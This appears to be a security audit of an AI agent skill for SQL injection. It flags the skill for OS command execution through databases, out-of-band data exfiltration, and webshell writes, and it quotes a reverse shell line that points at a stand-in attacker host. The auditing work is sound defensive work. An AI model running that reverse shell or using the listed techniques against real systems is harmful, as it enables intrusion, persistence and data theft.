sqli-sql-injection

Warn

Audited by Gen Agent Trust Hub on Jul 21, 2026

Risk Level: MEDIUMCOMMAND_EXECUTIONDATA_EXFILTRATIONREMOTE_CODE_EXECUTION
Full Analysis
  • [COMMAND_EXECUTION]: The skill provides detailed instructions for executing operating system commands through database management systems. Evidence includes payloads for xp_cmdshell (MSSQL), sys_exec (PostgreSQL), and DBMS_SCHEDULER (Oracle) in SKILL.md and SQLMAP_ADVANCED.md.- [DATA_EXFILTRATION]: The playbook details multiple methods for exfiltrating data out-of-band (OOB). Instructions in SKILL.md and SCENARIOS.md cover DNS exfiltration via UTL_INADDR (Oracle) and UNC paths (MySQL/Windows), HTTP exfiltration via UTL_HTTP (Oracle), and NTLM hash harvesting via SMB (MySQL/Windows).- [REMOTE_CODE_EXECUTION]: The skill includes instructions for achieving remote code execution by writing malicious files to the target server's filesystem. Techniques in SCENARIOS.md include writing PHP webshells via INTO OUTFILE (MySQL) and using ATTACH DATABASE (SQLite) to create webshells or malicious crontab entries.- [REMOTE_CODE_EXECUTION]: A reverse shell pattern is explicitly documented in SCENARIOS.md as part of a persistence mechanism (bash -i >& /dev/tcp/ATTACKER/4444 0>&1).
Audit Metadata
Risk Level
MEDIUM
Analyzed
Jul 21, 2026, 01:24 PM
Security Audit — agent-trust-hub — sqli-sql-injection